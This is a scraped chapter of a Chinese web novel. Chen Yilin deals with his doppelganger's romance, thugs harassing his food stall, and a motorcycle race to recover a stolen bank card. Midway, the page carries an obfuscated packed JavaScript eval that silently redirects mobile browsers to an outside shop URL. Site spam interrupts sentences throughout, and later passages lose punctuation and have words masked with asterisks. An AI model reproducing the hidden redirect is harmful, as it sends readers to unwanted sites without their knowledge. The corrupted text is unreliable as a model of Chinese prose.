第32章 质问

作品:《与你平行

    陈亦临这一晚睡得并不安稳,陈顺和林晓丽不停地在他梦里吵架,他好像变成了四五岁的小孩儿,躲在柜子里小声地哭泣,有人打开了柜子,长大版的“陈亦临”居高临下地看着他,他一边哭一边张开胳膊想要抱抱,“陈亦临”背后的秽物张牙舞爪,他似笑非笑地看着他说:‘我再也不管你了。’


    陈亦临猛地惊醒。宿舍里一片漆黑,他摸过电子表,上面显示凌晨4:44,怎么看都不像个好兆头。


    太阳穴一突一突地疼,洗漱完也不见好转,他拖着疲惫的身体坐在桌子前,习惯性地去打开台灯,结果摸了空,才想起来台灯还给了魏鑫奇。


    “陈亦临”也没来。


    虽然昨天单方面见了,但他还是很想“陈亦临”,这些天早就习惯了抱着人睡觉,昨晚他一直觉得很冷。


    他抽出了英语单词开始背,一会儿想着“陈亦临”竟然谈恋爱了,一会儿又琢磨“陈亦临”说的精神病院的事情,就算他没去过也知道那不是个好地方,荒市的陈顺和林晓丽看着那么好,为什么还要把“陈亦临”送到精神病院?而且“陈亦临”住院俩人也没去过几次,最后去接人还故意丢了“陈亦临”的宝贝葫芦。


    他应该幸灾乐祸,毕竟“陈亦临”过得也没他想象中的那么好,但想起“陈亦临”被陈顺扇了一巴掌,他胸口就像烧起了把火,恨不得将两个陈顺绑一块儿宰了。


    “陈亦临”要害死他,他都没舍得动人一根手指头——连那天惊吓过度他踹人都收着力道,心疼地半夜悄悄给人揉了半天肚子,陈顺那个王八蛋凭什么?


    脑子里乱哄哄地背了一个小时的单词,词没记住几个,本子上倒写满了“临临”,他啧了一声,将本子倒扣过来出了门。


    操,早知道就不吵架了。


    陈亦临准备下班去找方琛问个清楚,起码他不能真冤枉了“陈亦临”,如果真的是“陈亦临”干的,他总得帮人找个背锅的,揍方琛一顿出出气也不是不行。


    “想什么呢这么专注,喊你都没听见?”高博乐拍了他一下。


    陈亦临看着他:“你谈过恋爱没?”


    “当然谈过,怎么,有了喜欢的人了?”高博乐一脸八卦,“跟哥说说,哥给你参谋一下。”


    “不是我,是我的一个朋友。”陈亦临严肃道,“也不是真的那种喜欢。”


    高博乐笑道:“行,你说。”


    “就我这个朋友吧,他有个玩得挺好的朋友,他们两个总是待在一起,很亲近,像亲人一样。”陈亦临艰难地和他形容,“但最近他这个朋友好像谈恋爱了,他反正挺烦的,不想让他朋友和别人谈恋爱。”


    “哦——你喜欢


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    她。”高博乐笑得贱嗖嗖的。


    “我是挺喜欢他的,但肯定不是那种喜欢,我没打算和他谈。”陈亦临叹了口气,“乐哥,你说我要是假装喜欢他——我觉得他对我可能有点那个意思,之前老是亲我占便宜,我先假装追他把他和他对象搞黄,然后继续跟他做朋友,你觉得可行吗?”


    高博乐震惊道:“**,你这思路挺牛逼啊。”


    陈亦临有点郁闷:“我真没想到他还和别人谈着。”


    高博乐说:“那她就是吃着碗里看着锅里的,吊着你。”


    陈亦临皱起眉:“不可能,他不是那种人。”


    “人心隔肚皮,你又不知道别人心里怎么想的。”高博乐说,“你长得这么帅,但穷得一批,估计人姑娘就图你的脸。”


    陈亦临想了想:“这有可能,我这张脸对他来说其实挺特殊的。”


    “但你硬把人拆散是不是有点不道德?”高博乐试图劝他。


    陈亦临拧起眉:“他都不理我了,我还要道德干嘛?”


    更何况他本来就没什么道德。


    “我建议你还是别搞,没见过分手之后还真能继续当朋友的,就算能也隔了一层。”高博乐拍了拍他的肩膀,“朋友之间也有占有欲,你可能是搞混了,还是慎重点儿吧。”


    陈亦临:“行,我再想想。”


    他认真地想了一下午,刚想出点眉目来,有人将餐盘一下摔在窗口上,指着咬了一半的汉堡说:“这汉堡谁做的!?我都从里面吃出头发来了!”


    刚想出来的眉目又嗖得一下消失不见,陈亦临不爽地抬起头来盯着他,对方被他的眼神吓得卡了一下壳,色厉内荏地指着汉堡瞪回来:“把你们老板叫来!”


    “怎么了同学?”宋志学闻声走到前面来。


    “你们的汉堡不干净,有头发!”那**声嚷嚷道。


    “我靠,这玩意儿都嗖了吧,吃着都酸了!”又有人一拍桌子站起来。


    陆陆续续起来了四五个人,挤在窗口大声嚷着汉堡不干净变质有问题,旁边路过的学生也纷纷停下来看热闹,有人举起手机录像:“之前我就吃过他们的汉堡拉肚子,不会用的都是地沟油吧?肉也不是好肉,都是些僵尸肉,吃了说不定要**!”


    “你少在这儿胡说八道,我们在这里卖了这么久都没出现问题。”高博乐急道。


    那群人顿时找到了攻击口,更加大声地吵嚷起来,宋志学赶忙安抚他们的情绪,但收效甚微,陈亦临将人拉过来,低声道:“宋叔,这些人看着不像学生,像故意来找茬的,越搭理他们越来劲。”


    高博乐闻言道:“你们是哪个学院的学生?让你们老师过来!”


    “怎么


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    你们还想捂嘴吗?”有人骂道“你们这些黑心商家根本不把我们学生当回事!现在证据都在这里你们还想抵赖?”


    “宋叔你去给闻主任打个电话。”陈亦临将宋志学推进了休息间拦住了想往档口里冲的领头的冷声道“都是谁吃的有问题把汉堡都拿过来我们当场检验。”


    他又看向带头的那人:“你说有头发头发在哪儿?”


    带头的那人眼睛一转掀开汉堡坯从沙拉酱里拽出了一根头发:“你看!”


    陈亦临眯了眯眼睛:“档口里就我们三个男的都是黑色短发


    有学生凑上来看:“真的诶是黄头发看起来应该是女生的头发不可能是员工的吧?”


    领头**的人被噎住厉声道:“反正就是从你们汉堡里吃出来!他们还都吃坏肚子了呢!”


    “我们所有的原材料都是新鲜的你们说吃坏了肚子好我带你们去看医生看是不是真的吃坏了肚子这些汉堡都留着我们去做食品检测。”陈亦临声音比他还要高冷冷盯着他“如果我们的汉堡没问题那就是你们故意**!”


    那几个人明显被他镇住面面相觑有两个下意识地转头看向了楼梯口陈亦临顺着他们的目光看了过去。


    方琛戴着墨镜靠墙站在那里手里夹着一张银行卡嗤笑了一声。


    陈亦临脸色一黑他试图挤开人群过去却被**的人拽着不让走推搡间眼看就要动起手来闻经纶及时带着食堂的负责人赶到现场顿时更加混乱领头的那个拽住陈亦临时恶狠狠道:“我们琛哥说了你如果想拿回钱今天晚上八点来枫山——不然我们隔几天就来闹一次早晚把你们这儿搞黄。”


    远处方琛挑衅似的冲他晃了晃手里的卡转身混进了学生中下了楼。


    最终这群**的人也只是被警告了一番。


    “都是些滚刀肉似的混子最近是不是得罪什么人了和老李说一声?”闻经纶说。


    宋志学说:“现在恬恬陪着他在家里恢复这事儿就不和他说了省得他再操心。”


    闻经纶点头:“行我让门卫那边注意点儿外边儿的人少进来。”


    他走的时候陈亦临跟了上来闻经纶有点怕再探讨同性恋的问题看上去有点警惕。


    “他们也是被秽影响的吗?”陈亦临问。


    闻经纶愣了愣:“没有秽挑选蚕食对象是很严格的这种对它们而言没有价值。”


    陈亦临皱起眉:“好人就活该倒霉?”


    “自然不是郑恒算好人吗?”闻经纶说。


    “半个吧


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    。陈亦临回答。


    “人是种非常复杂的生物,情绪和感受更是。闻经纶叹了口气,“等以后你遇到的人越来越多,你就会明白这一点。


    “比如呢?陈亦临问。


    闻经纶有点哭笑不得:“你可真不会聊天。


    “比如我妈妈结婚了,我很开心,但也很难过。陈亦临想了想,“闻主任,要不你帮我收收周围的秽吧。


    妈妈结婚还好,但“陈亦临谈恋爱他都要抛弃道德了,秽对他的影响还是太严重了。


    闻经纶头疼道:“你现在的程度还达不到处理的标准。


    陈亦临震惊道:“我被影响地都要急着去当小三了,还不够标准?


    闻经纶更震惊:“你要去给谁当小三?


    “‘陈亦临’啊。陈亦临一脸晦气,“他谈恋爱都不和我玩了。


    闻经纶沉默了足足十几秒:“你偶尔还是注意一下自己的个人隐私,不用什么事情都和别人说。


    “我从小到大都没隐私,我不在乎这个。陈亦临说。


    他卧室的锁就没好过,陈顺那些狐朋**谁都能来借住,陈顺看他日记还要大声读出来,为了找他藏的钱地板都能翘起来翻个遍,隐私这玩意儿说出来都惹人笑话。


    闻经纶看他目光有些同情,真诚地建议:“你应该多出去交些朋友,不要一直将注意力放到‘陈亦临’身上。


    闻经纶这种文化人说话比高博乐更权威,陈亦临认真地点了点头:“好的闻主任,谢谢你。


    其实他并不怎么向外人寻求建议和帮助,但事关“陈亦临,他总想着谨慎一点,并不想将两个人的关系搞僵,所有多问问别人是有好处的,现在他综合了两个人的建议,决定暂时离“陈亦临远一点,出去交几个新朋友。


    ——


    郑恒刚下班,就看见陈亦临叼着根棒棒糖蹲在马路牙子上,吓得本能就要跑。


    “给我站住!陈亦临吼了一嗓子。


    郑恒转过头,干巴巴笑道:“巧啊,陈哥。


    “别这么客气,你比我大,恒哥。陈亦临递给他一根棒棒糖,“给。


    “……郑恒警惕地接过来,但十分怀疑陈亦临可能在上面下了毒。


    陈亦临哥俩好地搂住他:“恒哥,咱俩也算不打不相识,算朋友了吧?


    郑恒迟疑地点了点头。


    “够意思。陈亦临给他拍了拍肩膀上的碎头发,“再帮忙喊两个人来,等会儿去趟枫山。


    郑恒立马反应过来:“方琛找你麻烦了?


    “偷我钱了。陈亦临很不爽,“放心,打架用不上你。


    郑恒瞬间放下心来,掏出手机道:“我喊王晓明过


    你的朋友正在书荒,快去帮帮他吧


    来。


    陈亦临叹了口气:“就喊一个啊?


    郑恒噎住:“我就和他玩得好,那回找来揍你的人都是方琛手底下的。


    “也行。陈亦临朝着公交站那边招了招手,“魏哥!来。


    魏鑫奇捧着本书过来,推了推鼻梁上架的眼镜,看向郑恒:“你好,你也是复读小组的成员吗?


    “啊?郑恒懵住。


    “他是副组长。陈亦临冲他点了点头,“特厉害,复读了五年都没考上大学。


    魏鑫奇一把攥住郑恒的手,仿佛找到了人生知己:“前辈。


    郑恒转头看向陈亦临,陈亦临介绍道:“他是楼管魏阿姨的儿子,别看他长得虚,跑得特别快,车子都不一定能追上他。


    魏鑫奇不好意思地挠挠头:“我上学的时候老是被人揍,我打不过就只好拼命跑。


    很快王晓明也赶了过来,虽然脑子不好打架也一般,但胜在长得唬人,快一米九的大块头,青皮眉钉往那儿一站就很有派头,不知道郑恒怎么说的,他一来就很上道,气吞山河问好:“阎王大哥好!


    陈亦临脚趾抓地,皮笑肉不笑道:“大家都是朋友,叫名字就行。


    王晓明:“陈亦临哥!


    路人纷纷侧目,陈亦临赶紧带着他仨上了公交车,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235075|186930||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为了表示感谢,主动投了四块钱的硬币。


    “方琛拿了我一张银行卡,里边儿是我妈给的钱,她结婚我得给随个礼。陈亦临坐在最后一排给他仨分棒棒糖,“待会儿你们别露脸,我负责吸引方琛的注意力,恒哥,你身手好,看看能不能有机会把卡给我摸出来,魏哥,你就在外边儿等着,甭管是我还是恒哥拿卡出来,拿着就赶紧跑,别让他们给抓住了。


    郑恒和魏鑫奇点头,王晓明指着自己:“那我呢?


    陈亦临看了他一眼:“你在外边儿望风,一看不对劲你打110。


    王晓明说:“真打假打?


    “要是看我没跑出来就真打。陈亦临说,“朋友们,这是我们复读小组的第一次活动,祝愿此次活动能够圆满成功好吗?


    郑恒说:“我高二就辍学了还要复读吗?


    “我初中辍学都复读,试试吧。陈亦临问,“你学业水平考试考了吗?


    郑恒说:“考了,全B。


    陈亦临有点发愁:“我还没考。


    王晓明拍了拍他的肩膀,陈亦临转头:“你考了?


    “考了,我全C。王晓明说。


    陈亦临震惊道:“那你怎么连技校都没考上?


    “我抄的。王晓明说,“考试坐我前边儿那个全市第一。


    “操,全市第一你抄了个C?郑恒一


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    巴掌呼他脑袋上。


    “全A老师也不信啊。”王晓明委屈地抱住脑袋。


    “……”陈亦临忽然觉得这次凶多吉少了。


    ——


    枫山。


    方琛的阵仗一向摆得很大,陈亦临找过去的时候,两个大灯轰得一声照在了他身上,他下意识地抬手去挡,刺眼的灯光后,是五六辆摩托车和十来个穿得潮酷潮酷的彩**,乍一看跟拍电影似的。


    方琛打量了他一眼,拿着那张银行卡弹了一下烟灰,嗤笑道:“你还真敢一个人来,我听说你以前挺狂的,实验中学一大帮兄弟,都叫你陈阎王?”


    “那都小孩儿闹着玩的。”陈亦临叹了口气,“琛哥,恬恬姐的事情确实是我做的不对,你大人有大量,别放在心上,这张卡对我很重要,能还给我吗?”


    不对个屁,当时他就应该一脚踹死这孙子。


    方琛看向周围的人笑了起来,似乎没想到他这么快就认怂了,陈亦临在嘲笑声里表情木然,只希望赶紧结束这场闹剧。


    “老子结婚的大事都被你搞黄了,陈亦临,这事没那么容易揭过去。”方琛敲了敲手里的卡,“里边儿多少钱啊让你紧张成这样?”


    “没多少,就一点儿生活费。”陈亦临说。


    “一点儿生活费你藏得这么严实?”方琛显然不信,“对了,你就不好奇我怎么发现的吗?”


    陈亦临十分配合:“你怎么发现的?”


    “我妈叫方玉琴,马上就要跟你爸领证了,那天我们去你家看见你从电屋里翻出来,你肯定以为自己藏得挺好吧?”方琛笑了起来,“要真论起来,你还得喊我声哥哥呢,便宜弟弟。”


    陈亦临的目光逐渐阴沉了下来。


    “哎,生气了哈哈哈哈。”方琛得意地笑了起来,转着手里的银行卡,“操,我他妈还以为多牛逼呢,合着就是个怂货。”


    陈亦临盯着他:“你怎么样才肯还回来?”


    方琛将卡塞进兜里:“简单,我不是那种不讲规矩的人,咱俩围着枫山跑一圈,谁先到山顶谁赢,要是你赢了,我就把卡还给你怎么样,弟弟?”


    有人扔给了他一个头盔,陈亦临抓住,痛快道:“行。”


    陈亦临站在改装的摩托车前,慢吞吞地将头盔扣在了头上,有人递给他一双手套,他戴好之后攥了攥头。


    “怎么,怕了?”方琛嗤笑道。


    陈亦临冷冷地看了他一眼,一巴掌拍下头盔的镜片,长腿一跨潇洒地上了摩托车。


    操。


    不会骑。


    他飚过最狂野的车是辆二手电动车,速度三十五迈心情自由自在,以他的经济水平就没摸过这种高级货。


    见他一直没动静,方琛从摩托


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    车上扭头看向他:“怕了?要是不敢骑,喊声爸爸我就把卡还给你。”


    陈亦临幽幽道:“那不是乱辈分了?”


    方琛:“哈?”


    “你是你妈和谁生的?不会真是和陈顺生的吧?”陈亦临发誓,他确实有这个怀疑。


    但这话的攻击力有些超乎他的想象,方琛气得飙出了一串脏话,眼看就要下车揍他,这倒很合陈亦临的心意,打架他擅长,骑摩托车他真不会。


    “我今天不弄死你我跟你姓。”方琛指着他,身下的摩托车发出了一阵暴怒的轰鸣。


    陈亦临终于找到钥匙在哪儿,刚要伸手拧开,后背忽然传来了股熟悉的温热,摩托车在黑暗中微微一沉,有人从背后将他揽住,隔着头盔轻轻笑了一声。


    陈亦临紧绷的神经忽然一松,低声道:“陈亦临?”


    “别怕,我教你。”“陈亦临”几乎将他整个人都揽在怀里,他似乎能控制身体凝聚的程度,腿脚和手几乎完全与陈亦临融合在一起,动作熟练地带着他踢起边撑,抓着他的手拧开了钥匙,左手带着他捏**离合器,右手按住了点火按钮,随着旁边的人喊了开始,挂挡松离合车子载着他们如同离弦的箭,轰鸣着冲进了黑暗。


    陈亦临推开挡风镜片,发动机的轰鸣声和呼啸的风声扑面而来,张牙舞爪的枯枝和嶙峋的山石飞速后撤,眼前黑暗如同巨兽张开了嘴巴要将他们彻底吞噬,他身体里的血液几近沸腾,紧紧追随着身后人的动作,陈亦临盯着前方那一小截光亮,抬高了声音质问:“你不是不管我了吗?”


    “陈亦临”将下巴垫在他的肩膀上,头发被风吹得向后扬起,他的眼瞳中倒映着前方无尽的黑暗和那一点光亮,他将怀中的人揽得更紧压了下去,趴在陈亦临耳朵边上笑着回答:


    “汪。”